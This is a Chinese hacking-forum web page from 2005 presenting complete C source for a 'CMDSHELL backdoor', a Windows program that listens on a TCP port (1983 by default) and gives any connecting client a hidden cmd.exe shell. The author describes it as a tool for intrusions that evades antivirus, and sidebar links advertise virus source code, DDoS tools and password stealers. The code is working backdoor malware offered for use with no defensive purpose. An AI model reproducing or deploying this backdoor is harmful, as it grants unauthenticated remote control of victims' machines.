主页 PC知识 网管技术 黑客帝国 安全技术 开放系统 程序设计 搜索 技术论坛

 

相关联接
 
RHU本级分类

编程语言
程序代码
WIN/*NIX编程
其他类别
JAVA专区

 
RHU阅读排行
·新欢乐时光病毒源代码
·ShixxNote 6.net缓冲区溢出代码
·详细解析C++编写的ATM自动取款机模拟程序
·一个写硬盘的VBS脚本程序
·冲击波病毒源代码
·超级DDOS源码~每秒>4W
·socks5协议转http协议源码
·得到远程机器MAC地址源代码
·一个简单的CMDSHELL后门
·Win2000下系统进程隐藏代码

 
 
RHU最新文章
·MS Internet Explorer XML Parsing Buffer Overflow Exploit (vista) 0day网马生成器
·xml下载者VC源码
·Python写的蜘蛛程序代码
·C#抓取alexa排名的代码
·一个超级mail蠕虫的诞生
·洪水攻击原理及代码实现全攻略(附源代码)
·修改了一个抓包的程序(c语言队列)
·企业内部AD脆弱密码审计
·用vbs加用户的绝妙方法
·黑客编程利用Debug Api 获得QQ2007密码

 
 
RHU相关搜索









 
 
RHU广而告之

 
 
>您的位置:首页 -> 程序设计 -> 程序代码
一个简单的CMDSHELL后门

作者:RHU-TAC编辑员 来自:RHU网络采集 时间:2005-4-6 双击滚屏 收藏本页 字体:


点击 查看RHU2004全年文章


 最近闲着无聊,自己琢磨着写了个简单的CMDSHELL后门。同时也避免了入侵时被杀毒软件K了。参考了T-CMD源代码和以前黑防的相关文章。从中学到了很多知识。
  程序很简单,运行后默认打开1983端口,也可以自己设定端口,等待客户端来连接。连接可以使用nc。本来还想设计成服务让其开机后自动运行,由于时间问题等以后完善了。
  用法:smallhorse [-p port] -p参数用于设置自己的端口
 
  下面是源程序,贴出来和大家共同学习进步,同时希望高手不吝指教,小马在此谢了先。
QQ:11189658 E-MAIL:_man@163.com">horse_man@163.com
 
在vc++6.0 WIN2003下编译通过

#include<winsock2.h>
#include <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
int port=1983;
DWORD WINAPI ClientThread(LPVOID lpParam);
void Help()
{printf("     /***************************************\\\n");
printf("     |This SmallHorse's First CMDSHELL V0.1 |\n");
printf("     |Thanks For Using It!             |\n");
printf("     |SmallHorse [E.S.T] VIP 2005.03     |\n");
printf("     |***************************************|\n");
printf("     |usage:smallhorse [-p port]         |\n");
printf("     |     port: Port Number To Listen On   |\n");
printf("     |     Default Port Is 1983         |\n");
printf("     \\***************************************/\n");
return;
}


void OpenDoor()
{
    // 初始化 Winsock.
  WSADATA wsaData;
    SOCKET m_socket,AcceptClient;
    sockaddr_in Service,Client;
    int ClientSize,i=0;
  int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
  if ( iResult != NO_ERROR )
    return;

  // 创建一个 socket.
 
  m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  if(m_socket==SOCKET_ERROR)
        return;
  Service.sin_family = AF_INET;
  Service.sin_addr.s_addr = htonl(INADDR_ANY);
  Service.sin_port = htons( port );

  if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR)
      return;//邦定
 
  if (listen(m_socket,5)==SOCKET_ERROR)
        return;//最大监听列队5个
  printf("\nsmallhorse Listen On Port: %d... ^*^\n",port);
    ClientSize=sizeof(Client);
    while(1)
    {
    AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);
    if(AcceptClient==SOCKET_ERROR)
        return;//接受连接
    printf( "Client Connected.\n");
    char *sendbuf = "/***************************************\\\n\tThanks For Using...\n\tSmallHorse's CmdShell!\n\tGood Luck!\n\\***************************************/\n\n";
  send( AcceptClient, sendbuf, strlen(sendbuf), 0 );
   
    if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)
        printf("Create Thread Error!\n");
    Sleep(1000);
    }
    WSACleanup();
    return;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{int ret;
char Buf[1024];
HANDLE Rpipe,Wpipe,Wfile,Rfile;
SOCKET AcceptClient=(SOCKET)*(SOCKET*)lpParam;

SECURITY_ATTRIBUTES sa;
sa.nLength=sizeof(sa);
sa.bInheritHandle=TRUE;
sa.lpSecurityDescriptor=NULL;

ret=CreatePipe(&Rpipe,&Rfile,&sa,0);
ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立两个管道,分别用于接收命令和显示结果

STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput=Wfile;
startinfo.hStdError=startinfo.hStdOutput=Rfile;
startinfo.wShowWindow=SW_HIDE;

char cmdline[MAX_PATH];
GetSystemDirectory(cmdline,MAX_PATH);
    strcat(cmdline,("\\cmd.exe"));

PROCESS_INFORMATION proinfo;
ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);
unsigned long ByteRec;
while(1)
{
    Sleep(100);
    PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);
    if(ByteRec){
        ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);
        if(!ret)
              break;
        ret=send(AcceptClient,Buf,ByteRec,0);
        if(ret<=0)
              break;
    }
    else{
        ByteRec=recv(AcceptClient,Buf,1024,0);
        if(ByteRec<=0)
              break;
        ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);
        if(!ret)
              break;
    }
}
return 0;
}
int main(int argc, char *argv[])
{  
  Help();
    if(argc==3)
        if(!strcmp(argv[1],"-p"))
              port=atoi(argv[2]);
    OpenDoor();
return 0;
}


OVER

[1] 页 RedHyphone.Union 投稿邮箱
[特别声明]:
本站文章大多搜索转载自网络中,如果侵犯了您的权利,请告之我们。本站将立即删除。
本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。
查看评论】【向上滚屏】【关闭窗口】【 打印
-相关文章
  • openSUSE 11.1 Final - 正式发布
  • [视频]Opera Mini 4.2 正式版发布
  • dll注入系统进程(开源代码)
  • 认知盲区 解惑双网卡双线路DNS解析
  • FlashFXP 简体中文版 3.7.5 Build 1303 Beta[烈火]
  • -文章评论 (关闭)
    ·还没有相关的评论!

    网上大名:
    红旋风网络技术联盟 RHUTech.Union
     
    Copyright © 2000-2007 RedHyphone.Union All Rights Reserved. 红旋风联盟版权所有.皖ICP备05011033号
    中国红旋风网络技术联盟 | www.RedHyphone.net
    Mailto:Redhyphone@gamil.com